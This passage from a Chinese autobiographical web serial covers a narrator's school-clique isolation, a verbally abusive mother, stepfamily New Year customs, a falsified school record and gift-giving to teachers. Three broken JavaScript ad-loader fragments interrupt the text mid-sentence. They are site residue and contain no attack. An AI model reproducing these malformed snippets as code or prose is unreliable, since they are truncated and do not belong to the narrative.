戴x的爸爸妈妈都很爱她,尤其是她的爸爸。因为她是家里的小女儿,有一次我们一起去诊所挂吊瓶,她害怕疼,都会趴在爸爸怀里哭,然后她爸爸会很宠溺地安慰着她,紧紧抱着她,说宝宝不哭。 那一幕,我看着真的很羡慕。 我从来没有得到过这样的父爱,从来没有人叫我宝宝。 而且就拿这一次的事件来说,跟我有什么关系?说破天也不至于跑到老师跟前,告我两次状。 我应该感谢我的初中班主任,是个讲道理的人。 她直接对戴x说:“今天早上,欣x来找我告状的时候,就是带着偏见的。你们现在是想怎么样,在班级里分成两个帮派吗?戴x,你是班长你知道吗?” 再后来,戴x被班主任说哭了。 我立在一边,静静站着,一句话没说,到后来甚至开始走神。 戴x和我从办公室回到教室的时候,我回到座位上闷头做卷子。她则是趴在窗台边上,大声哭。 当然,她一哭,必然会引来她们小团体的安慰。 她那天的哭声结束之后,对我们三个长达这么久的孤立也结束了。 我后来还和戴x安排在前后座,我们还会正常聊天,正常探讨学习上的问题,仿佛之前的事,没有发生过一样。 可我是怎么知道事件始末的呢? 是戴x被老师训哭的那天晚上,我们宿舍的刘x突然找到我,跟我聊天。 刘某和栾某关系很好,和曾经的于某关系也好。 刘某告诉我,栾某为什么会哭,会伤心。她也告诉我,她知道这件事与我无关。 这件事栾某针对的是黄某。但是他们为什么孤立我呢,因为我和黄某关系好。 我真的要气笑了。 原来,他们所有人都知道,这件事跟我无关。 这就好比,有反派上门屠了A满门。A不去找反派复仇,反而是对路过看到这个事件的路人甲的朋友C喊打喊杀。 问就是,他们觉得C和路人甲关系好。 而真正屠杀A满门的反派,却可以完美隐身。 真正传这话的五班的王某传同学,不知道是不是因为略有几分颜值,加上性别为男,所以没有人去跟他计较。 就连栾某的男朋友,和王某传是同班同学,都没有过去质问王某传几句。 到了最后,被揪到办公室问责的人,变成了我。 刘某那天跟我聊了好久,她说我是无辜的,但是她认为黄某不无辜。 为了挑拨我和黄某的关系,她认为,这件事里,黄某是故意利用我。刘某觉得,她们本来可以单独孤立黄某的。 鉴于黄某是我的朋友,我现在对她发表一切看法,可能都有双标的嫌疑。 我承认,黄某的确提过一次这个事。但是她没有到处传播,真正传话的源头,本来就是王某传。 王某传和黄某都是走读生,一起放学回家的时候聊到了这个话题。 如果黄某是那种特别嘴碎的人,她不会随口只跟我和杨某提了一次,她肯定会放大细节,把所有的事都告诉我和杨某。 但是事实是,我和杨某什么都不知道。等我们知道的时候,她们小团体已经开始孤立我们三个人了。 刘某的意思是,让我和黄某不要再做朋友了。她单方面认为,黄某的心机很重。 而对我而言,这件事已经过去了。 我和黄某之所以能成为朋友,是她在寒冬里,为我脱下的那件外套。 而这一点,她们永远都不会懂。 隔天,我这个英语课代表,在英语课之前,去教师办公室拿录音机。 正好,我们的语文老师,在教室里提到了栾某。 她说她在楼下看到栾某和她的男朋友,说栾某哭得梨花带雨,可委屈了,她看着都跟着心疼了。 不得不说,欣x和我们语文老师不愧是亲姑侄。很多时候,她们连想法都是一致的。 我甚至都没抬头看语文老师一眼,我问了我班主任下节课要注意的地方之后,就带着教科书和录音机回了教室。 班级里任何同学的爱恨情仇,和一切八卦,都跟我无关。 而从那之后,我和其他人都可以正常聊天,唯独和欣X,我不想多说一句话。 其实欣x应该是不喜欢我的。 我印象很深的一次,是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我还和四班的同学挤在一间宿舍的一次。 我的床铺突然被扣了分。 我是那种不太会做家务,也不太会打扫房间的人。 别说是初中时期的我,就是现在,我们家的家务也是我老公做的。 有时候我班主任责怪我值日清扫不彻底,给我妈打电话的时候,我妈不仅没有维护我,反而跟我班主任一起吐槽,她说我在家里连袜子和内裤都不洗。 我班主任听到这个事之后,把我叫到办公室一顿训话,还说我不懂事,说她的孩子才上幼儿园,就可以自己洗袜子了。 这件事,我有必要为自己申辩一下。我的袜子和内裤,是自己洗的。 是因为那天,周五放假回家,我太累了,就把攒了一周没洗的衣服放在一起,想着自己先睡一觉。 我在校园里没有洗衣液,冬天也不喜欢去水房,用那带着冰碴子的水龙头洗衣服。所以我都是带够了衣服,攒到周末回家再洗。 刚好,我妈见到我睡了,就把我的袜子和内裤都洗了。 因为我妈这一次告状,导致我从那天之后,换下来的袜子和内裤都第一时间洗了,绝对不让人再说第二次。 欣x在班里,和我就是两个极端。她特别会做家务,值日的时候,也被老师夸,说她打扫得最干净。 然后,一直被老师责怪清扫工作做不好的我,因为床铺没整理好扣分了。 我的被子一直都叠得很好,标准的豆腐块。 那天为什么会被扣0.5分,我自己都不清楚。 等我看到楼下黑板报上写着我的名字的时候,我已经被班主任叫到办公室了。 就这么0.5分,我的班主任训了我整整一节课的时间,直到把我训哭了,她才同意我回教室。 她对我的训,不是那种普遍意义上的训斥,而是开始揭我伤疤,说我父母早早离婚,我在继父家更应该懂事,多干点活,多做点事,生活上更要干净立整,可她认为我不懂事、不要强,连床铺都整理不好。 当然,那次训斥的时候,办公室里还有其他老师。其他老师一致认为,我班主任因为这么点小事就这么训斥我,有点过了。所以到了晚上的时候,我班主任又来跟我道歉,说她也有做得不对的地方。 我还是比较佩服我班主任这一点的,很少有老师会主动跟学生道歉。 当天晚上,我回寝的时候,发现我床铺整理得很好,被子和床单都没有问题,唯一的问题是被子上的盖布,被人掀了起来。 而我跟四班的室友不是一个班的,我们班主任要求我们要早点去上早自习,所以我走得早。 我上铺的那个同学,起得比我晚,拿着镜子放在我被子上梳头。 她走的时候有点急,掀开了我被子上的盖布,又没给整理回去,导致我扣了分。 她一直跟我道歉,来来回回说了好几次,祈求我的原谅。 她是个很老实的人,也的确不是故意的。 我也不好说什么,毕竟这个事,都过去了。分都给我扣了,教导主任扣分的时候只看结果。而且,老师也骂了我整整一节课。 这罪我都受了,我知道真相也改变不了既定事实。 第二天,课间等着做课间操的时候,戴x和欣x同时提到了我昨天扣分的事。 我主动开口解释了,我说扣分那事不怨我。 说清楚之后,欣x当时就翻了一个白眼:“那你不去找四班的同学干架?这要是我,我肯定不受这委屈。” 说完,欣x直接拉走了戴x,一副根本不想跟我说话的样子。 也许从那天开始,欣x认定我是一个包子。所以,在之后的孤立事件中,她觉得她随意拿捏我,我都不会反击。 她甚至还站在道德制高点上,义正言辞地跑去找老师,要求老师一定要处置我。 我想告诉大家,不要学我,不要像我一样,老给人留下一个好欺负的印象。 他们觉得你好欺负,是真的会欺负你。 当然,也不要欺负老实人,因为你不知道老实人突然爆发情绪,会引发怎样的后果。 20. 第020章 噩梦 我初中时期,在班级里和同学的矛盾,就只有这些。 其实我初中阶段,上学的时候,不是最难熬的。 最难熬的,是在家里。 尤其是,临到年关的时候。 我继奶奶是个非常传统封建的老人,一到年底,她就有很多规矩。 比如,要供老祖宗。 供老祖宗这个事,我继奶奶是不让我靠近的。 其实这个我也能理解,我和他们家的人又没有血缘关系。他们的老祖宗,又不是我的祖宗。 但是我妈有时候会特别奇怪,会使唤我,让我去我继奶奶那屋,给老祖宗磕三个头。 我小时候是个特别听我妈话的孩子,我妈说一我不敢说二。 我心里千百个不愿意,还是得硬着头皮过去。 结果到了我继奶奶供老祖宗的地方,我继奶奶也不太愿意让我磕头。 听到我的来意,她勉勉强强地说:“那你就磕一个头就行啦。” 我甚至都没敢仔细看过我继奶奶供老祖宗时的牌位,只能看见一块红布,下面摆着供品。 我磕完一个之后,我想起我妈的命令,又快速磕了第二个,第三个…… 我磕第二个的时候,我继奶奶就开始拦了,而且语气非常急促且嫌弃:“哎呀行啦行啦,赶紧起来。” 我也没看继奶奶,我听我妈的话,快速磕完三个,然后赶紧站起来,逃回房间。 我到现在也不理解我妈为什么非要让我做这种吃力不讨好的事,几乎每年都对我有这种要求。 人家没拿我当自家人,我又没改成他们家的姓。 说到改姓这件事,我妈曾经有过两次这种想法。 第一次,是想让我改跟她一样的姓。 不过她嫌弃麻烦,最后一直拖延,拖到最后也没去派出所户籍科问问。 当然我小时候也没有亲自去派出所办过事,都是听来的,未必百分百全对。 我就听大人们说,当时办点什么事都特别难,连改个名都得给户籍科的人塞点红包。 有时候越小的地方,这种事就越多…… 第二次,是我妈和我继父结婚之后,我继父主动提出,要我改成他的姓。 这一次,我妈真的去问了。 当时,我继父在镇上还是有点人脉的。跟户籍科的那些工作人员也很熟悉,没有人会为难我继父一家人。 我继父这个姓氏在他们村镇上属于大家族,在我继父还没有发迹的时候,他的几个堂兄弟就已经很富了。 尤其是我继父的二堂兄,我得跟着我继兄继姐他们叫二大爷。 这位二大爷算是家族里最有钱的一位,他不仅开煤矿,还在E城做房地产。又恰好那几年,房地产生意正是最火热的时候。 所以当时,他们家族的人,随便报上个名字,村镇上的人都认识。 我继父甚至都不用亲自去户籍科,就直接打个电话,问个流程就好。 户籍科的人当时说,改名倒是简单。如果未成年要是改姓的话,需要亲生父母签字确认。 这就需要联系到我亲爸了。 我妈和我亲爸本来就闹得非常不愉快,我妈还去过我奶奶家里,跟我亲爸要过抚养费。 我亲爸那个人,蛮横不讲理。当着他指着我妈就开始骂人,之后又张狂至极地说:“有本事你去法院告我,反正我要钱没有,要命一条。” 我父母1996年就离婚了,当时法院判定一个月五十块钱抚养费。后来就这点钱,连交个书本费都不够。但是我亲爸一分钱都不给。 一个月五十块钱,一年六百,欠十年,这钱也就六千。 我妈后来干脆说,这点钱她不要了,都不够跟我亲爸惹气的。 虽然我亲爸不给抚养费,不管我,但是我妈知道,如果让他来派出所签字给我改名的话,我亲爸肯定不同意。 一个闹不好,就容易打起来。 所以改姓这件事,我妈放弃了。 当时,我在村镇上出门,最怕他们问,你是哪家的人,你叫什么? 东北人大多自来熟,尤其是小村小镇这点地方,十里八村的,不管谁家,都想认识一下、了解一下。 这两个问题要是同时回答,外人就会问,那你怎么不跟你爸一个姓? 我继父估计也是不愿意解释这个事,一问家里有几个孩子,都叫什么名字…… 那提到我的时候,我继父势必要跟人解释,这是他后娶的老婆带过来的。 其实后来我觉得,没改也挺好的。 真要改,还不如当初改成跟我妈一个姓。跟我继父一个姓氏,临了了他们闹离婚,我这个姓就很尴尬。 而且,改得了姓氏,改不了血缘。 真到拜老祖宗的时候,我继奶奶觉得我不是他们家人,根本不愿意让我磕头。 本来,我继奶奶连家里的女孩都不让磕的。我又是女娃,又不是他们家人,我不理解我妈让我磕头的意义。 可那个时候小,即便是明白事,我也不敢违拗我妈的命令。 我妈经常喜欢拿话吓唬我,她说:“你不听话,我就给你扔了。” 又或者说:“你不听话,我就给你丢到你死爹那去。你看你爹和你奶要不要你。” 这两句话,对我而言简直是杀伤性武器,让少年时的我,瑟瑟发抖。 也许,这里面有我妈吓唬我的成分。当然我直至今日,我也不觉得全是吓唬。这里面,有不少她情绪发泄时的真心话。 养育一个孩子,本来是父母双方的责任,我妈一个人负双份的责任,她会觉得委屈。 她只要觉得委屈,她就会发泄出来。 而我,就是那个现成的发泄对象。 小时候我总觉得,等我长大了,等我独立了,等我自己有了家,我就可以不再惧怕被人抛弃。 但是到今年年底,我就要过三十二岁的生日了。 我独立了,自由了,我有了自己的家,和我老公感情也很稳定。一切都在向着好的地方发展。 可是少年时的恐惧,会在无数个午夜里,会在无数场困于其中不得挣脱的梦里,如潮水般奔涌而来。 这让我想起了前段时间,我妈一直跟我说,你是姐姐,你得让着妹妹的时候,我也会发疯痛哭。 其中一句,我回我妈的时候提到,我说小的时候,我活得跟狗一样,我害怕你不要我,我一直都胆战心惊。 现在好像是挣脱了从前的枷锁,可那锁链却已经在我的身上留下了无法抹除的伤疤。伤疤永远都在,它将伴随我这一生。 再说回一到年底,我继奶奶的规矩,讲究特别多。 比如,三十晚上发纸(一种地方风俗)的时候,要出门抱大柴。 我们那边冬天,不烧煤的时候,就烧柴火。 而且只有锅炉房会烧煤,屋里的灶坑,是要烧柴火的。 冬天的屋里不透气,烧煤很危险,很容易一氧化碳中毒。 而大的木头棒子,就叫大柴。 除了大柴,就是一些小的细碎的干柴火枝,比较易燃的,也用来烧炕用。 大柴和‘财’是谐音。 我继奶奶说,三十晚上发纸的时候,出去抱的大柴越多,新的一年就会发大财。 当然,除了这个风俗。我继奶奶会在腊月里,要求全家人一起做粘火勺。 不了解东北风俗的小伙伴们,我给大家简单解释一下,这个粘火勺的主要原料其实就是糯米面,有的时候可能会加一些高粱米面和大黄米面等等。然后馅料就是甜的豆沙馅或者芝麻馅。 当时,我继奶奶做的,以豆沙馅居多。 我继父一家子人多,除了我继奶奶继爷爷,还有我们家一家六口,再算上我继姑姑一家和继叔叔一家。 有的时候,可能还要给其他亲戚再送点。 这一次做,就要做一冬天的量。 做好了之后,就放在外面冻起来。 东北的冬天,外面是天然的冰箱。 然后到了正月里,做饭也就很省事。直接去外面仓房,从缸里拿出一小袋粘火勺,放在大铁锅热一下,就可以给全家人吃。 所以,包粘火勺就是一个大工程。 每次我妈妈跟着我继奶奶包,都是一大家子人,从早包到晚。 我妈妈以前不需要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 做这种活儿,到了农村之后,就得慢慢适应,每次她都会累个不行。 除了粘火勺,还得蒸馒头。馒头也不是现吃现做,也是像粘火勺那样,做很多很多,然后冻起来。 说得通俗易懂点,就有点像现在的预制菜。 当然,也会看家里这些干粮的量,再判断到底要不要做点煎饼。 到了年关,除了美食这些,就还得布置家里。比如,年底要买灯,挂在房梁上。 到时候过年,家家户户都有彩灯,门口还会挂两个大红灯笼。这些灯,要从年前一直挂到正月十五之后。 所以到了腊月里,光是准备工作,就会给我妈累够呛。 最累的时候,还得是除夕那天的白天。 除夕当天,我继叔叔和继姑姑一大家子是回自己家过年的。 但是中午的时候,我妈要给一大家子人做一顿饭。 因为除夕上午,他们家人要去上坟。上完坟回来,就会在我们家吃饭。 过年桌上有几个菜,什么菜在什么时间炖,具体到什么火候,我继奶奶都是有讲究的。 炖鸡、炖鱼、炖猪肉这些,不能在不吉利的时间炖。猪爪是提前准备好的,过年的时候,一定要做猪前爪,后爪不行。 因为前爪,谐音抓钱。 不能做虾,因为扒虾的谐音不好听。 除夕当天,我妈妈很早就要起来,严格按照我继奶奶说的时间做菜。 烧火的时候也有讲究,如果火烧得旺,新的一年就会发财。 当然,这其中哪个步骤错了,我妈妈会挨训。来年如果我继父生意不好,搞不好我继奶奶会拿出这事,觉得是我妈在除夕的时候没做好。 我继奶奶还会算命,会算时辰,谁家丢了东西,也会给你算方位。 她应该是会一点五行八卦这类的。 有一次我妈丢东西,她说没丢,朝着西北方找,应该能找到。 果不其然,我妈最后找到了。 但是也不是什么都说得准。 有一次我妈头疼,其实是高血压加上眩晕症,但是当时我妈没去医院,我继奶奶就说是我继父的原配上身了,就在家里给我妈叫魂,还让我妈喝什么符纸烧的水。 这就是纯扯淡了。 后来去医院查出是血压高,开了药,稳定血压,注意饮食,才能缓解。 本来,除夕那天我妈就够忙了。家里的这些亲戚上完坟,来我家吃饭,都是按时按点的。我妈生怕到时候做不完饭,所以很着急。 偏偏每一年除夕的上午,我继父的堂嫂都会来我们家跟我妈闲聊天。 一边嘟囔着让我妈给她拿出好烟,一边再抽出几个烟夹在耳朵里,连抽带拿。 除了这个招我妈烦之外,还有一个就是她啰嗦。 她一到除夕,什么活都不用干,来我们家看到我妈干活,就一直在旁边叨叨,打扰我妈。 我妈其实每次干活都很烦躁。 这种烦躁,包括她早上起来拖地,包括她做一家人的饭,收拾屋子等等。 每次我妈累了,她都不敢骂别人,只会一直骂我。 她骂的特别难听,从骂我什么都不会做,是个窝囊废,再到骂我亲爸,骂我长得越来越像我亲爸,一点都没有小时候可爱。 如果只是单方面骂我就算了,她见我一直不吭声,不回应,就会撞开我房间的门,冲进门里一直问我是不是哑巴了。 那凶神恶煞的样子,每次都会给我吓哭。 而每年的除夕上午这个时间段,我继父的这位堂嫂,我管她叫婶子的这个人,都会来我家。 我妈很烦她,却不敢当面怼她,也不敢撵人。所以,就会当着她的面,无休止地骂我。 一般人看到这家人骂孩子,都会躲开。但是这位婶子不会,她会一直坐在那里听着我妈骂。 遭殃的只有我。 我妈妈是纯发泄,而我,在我妈眼里,听着是不吭一声,实际上,我却把她骂我的每一句话都记在了心里。 以至于现在,多少个夜晚,我还会梦到那样的场景。 一醒来,就是一身的汗,和满心里排解不掉的痛苦。 21. 第021章 哭肿 也是很久之后,我哭着埋怨我妈一到过年就骂我的时候,她才坐在那里同我说原因。 她说她很烦那个堂嫂,但是又不能当着她的面说什么,只能用骂我来排解烦躁。 但是,又不是每一次,我都知道我妈发癫的原因。 现在想来,其实无非是家里的活儿太多了,她太累了,需要发泄。 或者,在我继父和我继奶奶那里,受了什么委屈,所以要骂我发泄。 可是家里的活儿,是永远干不完的。只要我在家里,我就免不了无缘无故要挨一顿骂。 在往上一点说,这也是我妈原生家庭对她的影响。说起来还是去年的时候,我妈给我姥爷腌酸菜,多放了一勺盐。 我妈都是五十多岁的人了,还要挨我姥爷的骂。而且不是一次性的,是断断续续的,是只要我姥爷想起这个酸菜,就会骂我妈一次。 我妈委屈得不行,她还说,直到酸菜腌得差不多,拿出来做了之后,发现并没有很咸,我姥爷才停止对她的责骂。 说到底,酸菜是最不值钱的东西。去街上买现成的酸菜,也就几块钱十几块钱。 但是这种家长对待孩子的模式,已经潜移默化地影响到了我妈。 以至于她对待我,也是这样的方式。 我在家里不小心打碎个碗,我就会被骂很久。 甚至于之后,她发现同时期买的碗成了单数,都会想起我打碎一个碗,然后接着骂我。 她还会反复回忆,回忆我之前还做了什么错事,然后一股脑全倒出来,一点一点拿出来骂我,直到骂累了,才会停下来。 这种影响,也曾伴随我很多年。 我还记得有一年,我想吃排骨,我自己做了红烧排骨。 大火收汁的时候,我因为看手机,没注意锅。 再低头看,一锅排骨,都烧糊了。 我也不是每天都要给我老公做饭,如果不想做饭,就会提前给他打电话,让他在外面买了,给我带回来。 那天,我们说好了在家里吃,他也饿了。 他下班之后,又多等了我半个小时,最后一整锅排骨都不能吃了。 我老公从来都不会因为这种事跟我吵架,但是我那天看到一整锅焦黑的排骨,我就会不自觉地浑身发抖、害怕。 最后,我随便炒了个鸡蛋端上来的时候,我声音还有些颤抖,我说让你等了这么久,最后一整锅的排骨全黑了。不仅浪费东西,我们还没吃上饭。 我之后不知道为什么,我就一直不自觉地道歉,然后说对不起。 我老公都愣了。 之后他拍了拍我,一直安慰我:“没事,这是多大的事啊,这在我眼里都不叫事。” 我老公还笑了笑说,如果这是他看着锅,给一整锅烧糊了,我一定会骂他。他看到是我烧糊的,他就放心了。 那一刻,我觉得我自己做得好差劲。 我也变成了我妈妈一样的人,因为这点小事,就会张口责骂我老公。 反观我老公,就是一个情绪非常稳定的人。 我老公跟我说:“像摔碎个挖,弄糊一锅菜,弄脏点墙面,这一类都是非常小的事,根本不值当大动肝火。谁也不是故意这么做的,说到底都是不小心。” 那是我活了那么多年,第一次懂得,原来这些在我眼里,会挨骂很久,让我胆战心惊、害怕到发抖的事,原来都是小事。 原来随意地笑一笑,这些事也就很随意的过去了。 可是当年,我还没有脱离那个家的时候,我经常会哭到浑身发抖。 哭得最狠的时候,我第二天早上起来,已经肿到睁不开眼睛。 当时,我们班主任联合几个班的老师,在寒暑假期间,办了一个补习班。 班里只要是没什么事的同学,都得去补习。你如果不去补习,老师会很不高兴。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当时是农村学校,要的补习费也不多。一节课算下来,对比外面的一对一家教和外面的培训班,其实是非常良心的价格。 当时不仅我,我继姑姑和我继叔叔家的两个姐姐,也要去他们老师那补习。 我们补习,是从早到晚。 每天早上,我继父开车送我们三个分别到三个地点补习。然后每天晚上,我继父回家的时候,顺道再来接我和两个姐姐。 晚上回家的时候,我妈不知道白天是累了,还是受了什么委屈。就莫名其妙开始骂我,然后让我回我那个死爹那里去。 说者无心,听者有意。 我那天反抗了。 我说你给我扔了吧,扔到大街上也行,我受不了了。 因为我顶嘴了,所以这个事就变得没完没了。我妈也开始哭,然后不停地撕扯我,一边哭一边说当初就不该要你。她还说,你真有能耐,你就自己走出去,你别回来了。 我继父家住在山沟沟里,四面都是山。一到晚上,整个村子都陷入黑暗之中,特别渗人。 我在晚上的时候,从来都没有出过门。 我也想鼓起勇气,想着我就走出去,死了算了。 可我最后,还是窝囊地趴在被窝里哭,一哭就是一整夜。 第二天早上起来的时候,我的眼睛需要用力扒,才能睁开。 我是天生的大眼睛,双眼皮,那天肿到眯成了一条缝,而且肿起来的高度,和小拇指的厚度差不多。 那天我去补习班的时候,只有一个六班的跟我一起补习的男同学问我怎么了。 我没有回答他,也没敢看他。我只是闷闷地摇了摇头,小声说没什么。 那天,我听课的时候,都要努力地睁开眼。好在,到了下午最后一节课的时候,眼睛已经慢慢恢复了。 现在想起来,真难熬啊。 每一分每一秒,我都觉得活着喘一口气,都很艰难。 22. 第022章 受寒 初三临毕业的时候,我们班主任突然跟我说,我的学籍丢了。 我转学的时候,是亲自把我小学阶段的学籍交到学校主任手里的。这期间,我的学籍也一直是学校保管。 我班主任的老公就是我们学校的教导主任,他跟我的家长联系,说了我丢学籍这件事,他还说这个事情极其严重,要补办的话,会很麻烦。 当时,我们学校的校长和我继父有点亲戚关系,他们都是一个姓,也是同辈的人。所以,他给了我们家好大的面子,让我重新填写一个学籍,让我改成当地镇上中心小学的学籍,连小学班主任的名字都让我照着抄其他同学的。 可是没多久,这个事情就反转了。 因为我原本的学籍,就在我的档案袋里放着,学校老师整理档案的时候,把我的学籍放在档案袋里,放完之后,他们忘了这件事。 装档案的饿时候,没找到我的,就说我的学籍丢了。当时,他们甚至还觉得,是我转学的时候,没把学籍交上去。 当时也没有监控,学籍数据也没长传到网上。学校就有意把这个事怪到我的家长头上,我妈妈也没办法。 主任给我办了一个假学籍之后,还跟我家长邀功,说这个事很难办,但是排除万难,终于违规给我办好了。 这事还搞得我妈妈非常不好意思,点头哈腰连声感谢他们。 结果,老师把全班的学籍拿过来,让我们自己装袋的时候,我从档案袋里抽出了我原本的学籍,递给了我班主任。 当时我班主任脸色都变了。 学籍事件之后,我们很快就要中考了。 因为要毕业了,我们班的男班长就提出要集体出钱给各科老师买东西。 他嘴上说的是不强迫,却在班里开班会的时候,怂恿大家出的越多越好。 他还说,最好是每个人出一百块钱,这才够。但是鉴于大家都是农村家庭的孩子,有些家庭比较困难,可以随便出点,意思一下,然后他们缺出来的钱,由其他家庭条件还可以的同学补上。 当时跟我闹过矛盾的女班长主动站出来说要出多少钱,起了个带头作用。 男班长开始带头鼓掌,说她做得好。 之后问到我的时候,我没像其他同学那样出太多,也没出太少,我说我出110吧。 说起这个,这位女班长的妈妈,也曾经在家长会的时候,动员过我妈,就说要给学校老师们出平时老师聚餐的钱。 我班主任还提过,说学校老师每次聚餐都是AA,分到每个人的头上,金额都不少。学校老师的工资都很低,我记得那个时候没有职称的老师,工资才2400多。 女班长的妈妈还让我妈起个带头作用,她说她先站起来说捐二百,让我妈紧接着就附和一下。 我妈不愿意,就没答应。 当时我妈挂电话的时候,还小声埋怨:“我可不愿意装这个犊子,到时候你们班其他同学的家长,不得烦死我?” 当时,我继父的生意已经很好了。我妈其实不差这一百二百的,但是我妈觉得,我们班上大多都是贫苦家庭的孩子,她出来带头,就相当于逼着其他家长一定要拿这个钱,她这个时候站出来,纯粹是讨人嫌。 最后的家长会,女班长的妈妈也提到了这个事。但是因为其他家长不出声,这钱也没捐成。 但是毕业要给老师送礼物这件事,我们又避无可避。 当时我班上还有一个我的亲戚,按辈分,我得叫他小舅,他也是我的同班同学。 我这个小舅的妈妈是我妈妈的堂姑。 我当时因为年龄相仿,始终都是喊他名字,不好意思开口叫他小舅。等到我大学毕业再看到他,每次都是喊小舅,他还有些不好意思。 当时男班长动员,班上的男同学都得起个带头作用,多出一点,所以我小舅也只能硬着头皮答应出一百多。 我的堂姑姥也是个普通家庭,在我们镇上的大楼里摆摊卖袜子,也赚不到几个钱。 临到毕业了,要拿出这一百多,她是极其不愿意的。 她甚至还想亲自到学校找我们老师,问问她们就非要这个钱不可嘛? 但是最终,我小舅不愿意丢那个面子,求着他妈妈不要去学校闹。 我堂姑姥为了孩子,最终不情不愿地拿了这个钱。 其实即便是我妈有钱,这个钱,我妈妈也是不愿意出的。 纵使我继父当时经济条件优越,但是我妈妈不掌握经济大权。 我妈妈和我继父是半路夫妻,即便是我妈妈有了我妹妹,我继父也防着她。 我继父会给我妈买礼物,过生日买金镯子,买首饰。平时给固定的生活费,年节给她钱买衣服。这样做的目的,是害怕她偷偷攒钱。 我妈会从生活费里,把钱都节省下来。 靠着这个,临到我继父破产的时候,我继父才知道我妈攒了二百多万。 我从上初中开始,我妈为了让我在学校好过一点,最起码不被老师带头欺负,平时也会给老师送点礼物。 当然,给的不多。 顶多是年节的时候送点牛奶罐头和水果,或者送一些农村的农副产品,比如鸡蛋鸭蛋。偶尔,会给一张超市卡。 农村的家庭大多都没钱,送一点东西,老师就会很开心,也会格外关照你一下。 我妈潜心里总觉得我是个听话的孩子,不需要那么麻烦。 这种明面上跟大家要钱的行为,我妈是不高兴的。 但是要毕业了,我妈也不会到处说。只是听我堂姑姥提起这事的时候,我妈也跟着劝了她一句,说算了吧,不要让孩子在同学老师面前难做。 更何况,当时我们班的男班长,也没人敢得罪。 人都是有两面性的,我们的男班长虽然有些事做得让人很不舒服,但是他还挺护着自己班的同学,只要你顺从他,他是真的会帮你免受其他班同学的欺负。 他还曾帮过我。 当时我们班里一共三十二个人,他收了三千多块钱,去我们门口刚开的一家服装店给老师们买衣服和鞋子。 那家服装店的门市,刚好租的是我们男班长家的房子,他可以用他小房东的身份,拿到折扣价。 当时,我们班上一个姓王的女同学,她偷偷跟我们说,男班长肯定还趁机贪了点钱。 具体贪没贪,我是不清楚的,那个账目我们也没看过。 反正,各科老师收到了那些鞋子和衣服,都很高兴。 后来我毕业了,我继叔叔家的妹妹也进了我这个班主任的班级,她的妈妈就比较下狠手,每次给老师递超市卡都是五百起。 每年教师节,她们班上的同学给老师买礼物,都是两千多的自行车。 随着通货膨胀和生活水平越来越好,他们给老师买的东西也越来越贵。 我继叔叔家的继堂妹还跟我说,她说买自行车那年,老师还以为他们没给买东西,发了一通脾气,下午还请假不来上课了。 是班长给她打电话,说给她买了自行车,她才肯来。 说到底,这不是她一个人的问题,是当时我们整个学校,就是那个风气。 还是那句话,人都是有两面性的。我初中的班主任,已经算是一个很善良的人了,班上同学有什么困难,她是真的愿意帮。她的教学水平也很优异,比较认真负责。 至于我继父家的其他亲戚,就是我妈比较讨厌的那个堂嫂,听到我妈只给老师送那么点东西,还觉得非常惊讶。因为她送礼物,都是四位数起送。 她把儿子送到E城最好的初中上学,到了年底,她随随便便就给她儿子的班主任送了五千块的羊毛衫。 有些时候,家长居然也会拿着这些来比较。比较他们给孩子,在这些方面,都花了多少钱。 我只能说,我也要感谢我的班主任。即便是我们家当时送的礼物比较薄,她看在我原生家庭的面上,觉得我比较可怜,已经在最大的程度内,照顾我了。 就像之前和女班长那件事,我知道女班长给她送的礼更厚。但是她没有因为这件事,就不辨是非,而是站在公平公正的角度,分析每个人的对错,希望班级里不要搞分裂和霸凌。 中考的时候,我考了684分,满分是750。 当时我们当地只有三所高中,一中是重点高中,二中和我们一个乡镇高中是普通高中。考不上这三所高中,就只能去念五年制大专和职高了。 我没有考上重点,我距离最后一名进入重点高中的同学,差了十分。 我妈说我的运气好像总是差了一点,我高考的时候,也和一本线差了十几分。 但是其实,差了一点,就差了很多。 我对自己的水平,还是有自知之明的。 我中考之前,最后一次复习的时候,人有点飘。 飘的原因是,我觉得我什么都会了。老师讲的知识点和重点内容,都是我掌握到滚瓜乱熟的内容,完全没必要再复习了。 其实这一点,还是我中考之后,我继父提出来的。 他说我临近中考前的一个月,太松弛了,每天乐呵呵的,感觉自己无所不能一样。 我事后复盘,觉得我继父说得对。 因为在考场答卷的时候,已经有所体现了。 语数英这三个大科倒是发挥比较稳定,我初中化学一直就不太好,所以最终成绩也算是我的正常发挥。 唯一差的是政治这一科,原本背的特别熟的内容,因为过于松弛,答卷的时候,突然忘了。 不知道为什么,当时大脑一片空白。我用了十几分钟的时间,慢慢回忆,才终于想起来一些。 到最后,政治的分数果然不太理想。 我们考重点高中,不是按照分数线,而是按照名额。 比如那一年,重点高中原本就给了我们学校24个名额。 也就是说,只有中考成绩前24名的学生,可以进重点。 我当时在全校排名26。 我们那个女班长排25名。 女班长平时发挥都在全校前十名之内,中考发挥严重失常。 她的爸爸为了让她进重点高中,找了不少人脉,还去求了校长,和上面说情,最后多争取了一个名额。 所以在外面的人看起来,我和重点高中,只有一步之差。 当时,周围的很多邻居,和继父家的亲戚都在问我可不可惜。 其实没什么可惜的,我自己也觉得最后是我自己的问题,我可以承担这个后果。 重点高中无论是学费还是日常的花费,都要比那个乡镇高中高很多很多,我花得少了一点,全家人都高兴。 而且,哪怕以我的水平,多考了十几分,进了重点高中,我也只能去最差的班级。 可在普高,我可以进尖子班。 去普高报到那一天,我妈还跟同样送孩子去报到的邻居提起这个事,我妈妈说,去普高念,一年最少给她省一万多,也挺好的。 但是当时,普高的教学楼质量很不好,尤其是我当时进的16班,四面都是窗户。 这种教室在夏天的时候就很好,四面都是窗户,有穿堂风,很凉快。 可是到了冬天,就出奇的冷,风还大,呼呼往窗子里灌。 现在互联网上,经常有人能争论冬天南方北方谁更冷的问题。 大多数人觉得,现在的北方人,到了冬天屋里都有地暖,在家里穿着半袖都很热,日子过得很安逸。 但是我只能说,不全是这样的。 我继父家当时经济条件好了,才盖了新房子,在地下按了暖气管道,弄了地暖。可是我们村里当时大部分家庭,冬天都是靠烧炕取暖的。 